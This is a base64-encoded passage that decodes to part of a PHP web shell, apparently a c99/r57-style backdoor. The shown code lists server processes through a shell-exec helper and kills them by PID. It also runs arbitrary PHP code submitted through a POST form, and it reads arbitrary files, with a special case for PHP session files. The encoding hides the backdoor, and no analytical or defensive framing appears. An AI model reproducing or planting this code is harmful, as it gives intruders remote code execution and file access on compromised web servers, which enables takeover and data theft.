Y2VzIHdpbGwgYmUgZG93bmxvYWRlZCBmcm9tIHJlbW90ZSBzZXJ2ZXIuPD9waHANCiAgICB9DQog
ICAgaWYgKCRhY3QgPT0gInByb2Nlc3NlcyIpDQogICAgew0KICAgICAgICBlY2hvICI8Yj5Qcm9j
ZXNzZXM6PC9iPjxicj4iOw0KICAgICAgICBpZiAoISR3aW4pDQogICAgICAgIHsNCiAgICAgICAg
ICAgICRoYW5kbGVyID0gInBzIC1hdXgiIC4gKCRncmVwID8gIiB8IGdyZXAgJyIgLiBhZGRzbGFz
aGVzKCRncmVwKSAuICInIiA6ICIiKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAg
IHsNCiAgICAgICAgICAgICRoYW5kbGVyID0gInRhc2tsaXN0IjsNCiAgICAgICAgfQ0KICAgICAg
ICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGhhbmRsZXIpOw0KICAgICAgICBpZiAoISRyZXQpDQogICAg
ICAgIHsNCiAgICAgICAgICAgIGVjaG8gIkNhbid0IGV4ZWN1dGUgXCIiIC4gJGhhbmRsZXIgLiAi
XCIhIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGlm
IChlbXB0eSgkcHJvY2Vzc2VzX3NvcnQpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRwcm9jZXNzZXNfc29ydCk7DQogICAgICAgICAg
ICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpDQogICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgJHBhcnNlc29ydFswXSA9IDA7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAk
ayA9ICRwYXJzZXNvcnRbMF07DQogICAgICAgICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHkgPSAiPGEgaHJlZj1cIiIgLiAkc3Vy
bCAuICJhY3Q9IiAuICRkc3BhY3QgLiAiJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiJnByb2Nlc3Nl
c19zb3J0PSIgLiAkayAuICJhXCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9
c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7
DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgJHkgPSAiPGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9IiAuICRkc3BhY3QgLiAi
JmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiJnByb2Nlc3Nlc19zb3J0PSIgLiAkayAuICJkXCI+PGlt
ZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIg
d2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOw0KICAgICAgICAgICAgaWYgKCEkd2lu
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgkcGlkKQ0KICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX251bGwoJHNpZykpDQogICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWcgPSA5Ow0KICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIg
LiAkc2lnIC4gIiB0byAjIiAuICRwaWQgLiAiLi4uICI7DQogICAgICAgICAgICAgICAgICAgIGlm
IChwb3NpeF9raWxsKCRwaWQsICRzaWcpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICBlY2hvICJPSy4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgZWNobyAiRVJST1IuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB3aGlsZSAocHJlZ19tYXRjaCgiICAiLCAkcmV0
KSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRyZXQgPSBzdHJfcmVw
bGFjZSgiICAiLCAiICIsICRyZXQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsICRyZXQpOw0KICAgICAgICAgICAgICAgICRoZWFkID0g
ZXhwbG9kZSgiICIsICRzdGFja1swXSk7DQogICAgICAgICAgICAgICAgdW5zZXQoJHN0YWNrWzBd
KTsNCiAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8IGNvdW50KCRoZWFkKTskaSsrKQ0K
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpICE9ICRrKQ0KICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkaGVhZFskaV0gPSAi
PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9IiAuICRkc3BhY3QgLiAiJmQ9IiAuIHVybGVuY29k
ZSgkZCkgLiAiJnByb2Nlc3Nlc19zb3J0PSIgLiAkaSAuICRwYXJzZXNvcnRbMV0gLiAiXCI+PGI+
IiAuICRoZWFkWyRpXSAuICI8L2I+PC9hPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHByY3MgPSBhcnJheSgpOw0KICAgICAgICAg
ICAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkNCiAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGxpbmUpKQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsICRsaW5lKTsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICRsaW5lWzEwXSA9IGpvaW4oIiAiLCBhcnJheV9zbGljZSgkbGluZSwgMTApKTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsIDAsIDExKTsNCiAg
ICAgICAgICAgICAgICAgICAgICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkp
DQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGxpbmVbMF0gPSAiPGZvbnQgY29sb3I9Z3JlZW4+IiAuICRsaW5lWzBdIC4gIjwvZm9udD4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmVb
XSA9ICI8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1wcm9jZXNzZXMmZD0iIC4gdXJsZW5jb2Rl
KCRkKSAuICImcGlkPSIgLiAkbGluZVsxXSAuICImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCIgICIsICRyZXQpKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJldCA9IHN0cl9yZXBsYWNlKCIgICIsICIJ
IiwgJHJldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxlIChwcmVn
X21hdGNoKCIgICIsICRyZXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgJHJldCA9IHN0cl9yZXBsYWNlKCIgICIsICIJIiwgJHJldCk7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCIgICIsICRyZXQpKQ0KICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJldCA9IHN0cl9yZXBsYWNlKCIgICIs
ICIJIiwgJHJldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxlIChw
cmVnX21hdGNoKCIgICIsICRyZXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgJHJldCA9IHN0cl9yZXBsYWNlKCIgICIsICIJIiwgJHJldCk7DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCIgICIsICRyZXQpKQ0KICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJldCA9IHN0cl9yZXBsYWNlKCIg
ICIsICIJIiwgJHJldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxl
IChwcmVnX21hdGNoKCIgICIsICRyZXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgJHJldCA9IHN0cl9yZXBsYWNlKCIgICIsICIJIiwgJHJldCk7DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCIgICIsICRyZXQpKQ0K
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJldCA9IHN0cl9yZXBsYWNl
KCIgICIsICIJIiwgJHJldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHdo
aWxlIChwcmVnX21hdGNoKCIgICIsICRyZXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgJHJldCA9IHN0cl9yZXBsYWNlKCIgICIsICIJIiwgJHJldCk7DQogICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCIgICIsICRyZXQp
KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJldCA9IHN0cl9yZXBs
YWNlKCIgICIsICIJIiwgJHJldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
IHdoaWxlIChwcmVnX21hdGNoKCIJCSIsICRyZXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgJHJldCA9IHN0cl9yZXBsYWNlKCIJCSIsICIJIiwgJHJldCk7DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCIJICIsICRy
ZXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJldCA9IHN0cl9y
ZXBsYWNlKCIJICIsICIJIiwgJHJldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwgImQiLCAidyIpOw0KICAgICAgICAg
ICAgICAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwgJHJldCk7DQogICAgICAgICAgICAgICAgdW5z
ZXQoJHN0YWNrWzBdLCAkc3RhY2tbMl0pOw0KICAgICAgICAgICAgICAgICRzdGFjayA9IGFycmF5
X3ZhbHVlcygkc3RhY2spOw0KICAgICAgICAgICAgICAgICRoZWFkID0gZXhwbG9kZSgiCSIsICRz
dGFja1swXSk7DQogICAgICAgICAgICAgICAgJGhlYWRbMV0gPSBleHBsb2RlKCIgIiwgJGhlYWRb
MV0pOw0KICAgICAgICAgICAgICAgICRoZWFkWzFdID0gJGhlYWRbMV1bMF07DQogICAgICAgICAg
ICAgICAgJHN0YWNrID0gYXJyYXlfc2xpY2UoJHN0YWNrLCAxKTsNCiAgICAgICAgICAgICAgICB1
bnNldCgkaGVhZFsyXSk7DQogICAgICAgICAgICAgICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhl
YWQpOw0KICAgICAgICAgICAgICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR5ID0gIjxhIGhyZWY9XCIiIC4gJHN1cmwg
LiAiYWN0PSIgLiAkZHNwYWN0IC4gIiZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIiZwcm9jZXNzZXNf
c29ydD0iIC4gJGsgLiAiYVwiPjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPXNv
cnRfZGVzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAkeSA9ICI8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD0i
IC4gJGRzcGFjdCAuICImZD0iIC4gdXJsZW5jb2RlKCRkKSAuICImcHJvY2Vzc2VzX3NvcnQ9IiAu
ICRrIC4gImRcIj48aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1zb3J0X2FzY1wi
IGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJGsgPiBjb3VudCgkaGVhZCkpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkayA9IGNvdW50KCRoZWFkKSAtIDE7DQog
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyRpIDwgY291bnQo
JGhlYWQpOyRpKyspDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAo
JGkgIT0gJGspDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD0iIC4gJGRzcGFjdCAuICIm
ZD0iIC4gdXJsZW5jb2RlKCRkKSAuICImcHJvY2Vzc2VzX3NvcnQ9IiAuICRpIC4gJHBhcnNlc29y
dFsxXSAuICJcIj48Yj4iIC4gdHJpbSgkaGVhZFskaV0pIC4gIjwvYj48L2E+IjsNCiAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcHJjcyA9
IGFycmF5KCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQ0KICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpDQog
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj4i
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCIJIiwgJGxpbmUpOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmVbMV0gPSBpbnR2YWwoJGxpbmVbMV0pOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgJGxpbmVbMl0gPSAkbGluZVszXTsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIHVuc2V0KCRsaW5lWzNdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5l
WzJdID0gaW50dmFsKHN0cl9yZXBsYWNlKCIgIiwgIiIsICRsaW5lWzJdKSkgKiAxMDI0Ow0KICAg
ICAgICAgICAgICAgICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGhlYWRbJGtdID0gIjxiPiIgLiAkaGVh
ZFska10gLiAiPC9iPiIgLiAkeTsNCiAgICAgICAgICAgICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBd
Ow0KICAgICAgICAgICAgdXNvcnQoJHByY3MsICJ0YWJzb3J0Iik7DQogICAgICAgICAgICBpZiAo
JHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAkcHJjcyA9IGFycmF5X3JldmVyc2UoJHByY3MpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgJHRhYiA9IGFycmF5KCk7DQogICAgICAgICAgICAkdGFiW10gPSAkaGVhZDsNCiAgICAgICAg
ICAgICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCAkcHJjcyk7DQogICAgICAgICAgICBlY2hvICI8
VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxs
UGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0
PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9XCIjQzBDMEMwXCI+IjsNCiAgICAgICAgICAg
IGZvcmVhY2ggKCR0YWIgYXMgJGkgPT4gJGspDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgZWNobyAiPHRyPiI7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGsgYXMgJGogPT4gJHYp
DQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJHdpbiBhbmQgJGkg
PiAwIGFuZCAkaiA9PSAyKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICAgICAkdiA9IHZpZXdfc2l6ZSgkdik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAkdiAuICI8L3RkPiI7DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9
PSAiZXZhbCIpDQogICAgew0KICAgICAgICBpZiAoIWVtcHR5KCRldmFsKSkNCiAgICAgICAgew0K
ICAgICAgICAgICAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIFBIUC1jb2RlPC9i
Pjo8YnI+IjsNCiAgICAgICAgICAgICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAg
ICAgICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICAgICAgICAgICAgQGNoZGlyKCRkKTsNCiAg
ICAgICAgICAgIGlmICgkdG1wKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIG9iX2Ns
ZWFuKCk7DQogICAgICAgICAgICAgICAgZXZhbCgkZXZhbCk7DQogICAgICAgICAgICAgICAgJHJl
dCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICAgICAgICAgICRyZXQgPSBjb252ZXJ0X2N5
cl9zdHJpbmcoJHJldCwgImQiLCAidyIpOw0KICAgICAgICAgICAgICAgIG9iX2NsZWFuKCk7DQog
ICAgICAgICAgICAgICAgZWNobyAkdG1wOw0KICAgICAgICAgICAgICAgIGlmICgkZXZhbF90eHQp
DQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcm93cyA9IGNvdW50KGV4
cGxvZGUoIlxyXG4iLCAkcmV0KSkgKyAxOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHJvd3Mg
PCAxMCkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJv
d3MgPSAxMDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hv
ICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIiAuICRyb3dzIC4gIlwiIHJlYWRv
bmx5PiIgLiBodG1sc3BlY2lhbGNoYXJzKCRyZXQpIC4gIjwvdGV4dGFyZWE+IjsNCiAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgZWNobyAkcmV0IC4gIjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICBpZiAoJGV2YWxfdHh0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+
IjsNCiAgICAgICAgICAgICAgICAgICAgZXZhbCgkZXZhbCk7DQogICAgICAgICAgICAgICAgICAg
IGVjaG8gIjwvdGV4dGFyZWE+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAkcmV0Ow0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIEBjaGRpcigkb2xk
ZGlyKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGVj
aG8gIjxiPkV4ZWN1dGlvbiBQSFAtY29kZTwvYj4iOw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRl
dmFsX3R4dCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGV2YWxfdHh0ID0gdHJ1
ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8Zm9ybSBhY3Rpb249
XCIiIC4gJHN1cmwgLiAiXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0
IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIx
MFwiPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRldmFsKSAuICI8L3RleHRhcmVhPjxpbnB1dCB0eXBl
PWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIiAuICRkaXNwZCAuICJcIj48YnI+PGJyPjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJl
YSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZXZhbF90eHRcIiB2YWx1ZT1c
IjFcIiI7DQogICAgICAgIGlmICgkZXZhbF90eHQpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVj
aG8gIiBjaGVja2VkIjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI+PC9mb3JtPiI7DQogICAg
fQ0KICAgIGlmICgkYWN0ID09ICJmIikNCiAgICB7DQogICAgICAgIGlmICgoIWlzX3JlYWRhYmxl
KCRkIC4gJGYpIG9yIGlzX2RpcigkZCAuICRmKSkgYW5kICRmdCAhPSAiZWRpdCIpDQogICAgICAg
IHsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZCAuICRmKSkNCiAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIgLiBo
dG1sc3BlY2lhbGNoYXJzKCRkIC4gJGYpIC4gIikhPC9iPjwvY2VudGVyPiI7DQogICAgICAgICAg
ICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNo
byAiPGNlbnRlcj48Yj5GaWxlIGRvZXMgbm90IGV4aXN0cyAoIiAuIGh0bWxzcGVjaWFsY2hhcnMo
JGQgLiAkZikgLiAiKSE8L2I+PGJyPjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj0iIC4g
dXJsZW5jb2RlKCRmKSAuICImZnQ9ZWRpdCZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIiZjPTFcIj48
dT5DcmVhdGU8L3U+PC9hPjwvY2VudGVyPiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAg
ICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkciA9IEBmaWxlX2dldF9jb250ZW50
cygkZCAuICRmKTsNCiAgICAgICAgICAgICRleHQgPSBleHBsb2RlKCIuIiwgJGYpOw0KICAgICAg
ICAgICAgJGMgPSBjb3VudCgkZXh0KSAtIDE7DQogICAgICAgICAgICAkZXh0ID0gJGV4dFskY107
DQogICAgICAgICAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICAgICAgICAgICRyZnQg
PSAiIjsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRmdHlwZXMgYXMgJGsgPT4gJHYpDQogICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsICR2KSkNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRyZnQgPSAkazsNCiAgICAgICAgICAgICAg
ICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgaWYgKHByZWdfbWF0Y2goInNlc3NfKC4qKSIsICRmKSkNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAkcmZ0ID0gInBocHNlc3MiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
aWYgKGVtcHR5KCRmdCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZ0ID0gJHJm
dDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRhcnIgPSBhcnJheSgNCiAgICAgICAgICAg
ICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4g
ImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwNCiAgICAgICAgICAgICAgICAg
ICAgImluZm8iDQogICAgICAgICAgICAgICAgKSAsDQogICAgICAgICAgICAgICAgYXJyYXkoDQog
ICAgICAgICAgICAgICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1l
eHRfaHRtbFwiIGJvcmRlcj1cIjBcIj4iLA0KICAgICAgICAgICAgICAgICAgICAiaHRtbCINCiAg
ICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAg
ICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWV4dF90eHRcIiBib3Jk
ZXI9XCIwXCI+IiwNCiAgICAgICAgICAgICAgICAgICAgInR4dCINCiAgICAgICAgICAgICAgICAp
ICwNCiAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIkNvZGUiLA0K
ICAgICAgICAgICAgICAgICAgICAiY29kZSINCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAg
ICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIlNlc3Npb24iLA0KICAgICAgICAg
ICAgICAgICAgICAicGhwc2VzcyINCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAg
ICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFj
dD1pbWcmaW1nPWV4dF9leGVcIiBib3JkZXI9XCIwXCI+IiwNCiAgICAgICAgICAgICAgICAgICAg
ImV4ZSINCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAg
ICAgICAgICAgICAgICAgIlNEQiIsDQogICAgICAgICAgICAgICAgICAgICJzZGIiDQogICAgICAg
ICAgICAgICAgKSAsDQogICAgICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgICAg
ICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1leHRfZ2lmXCIgYm9yZGVyPVwi
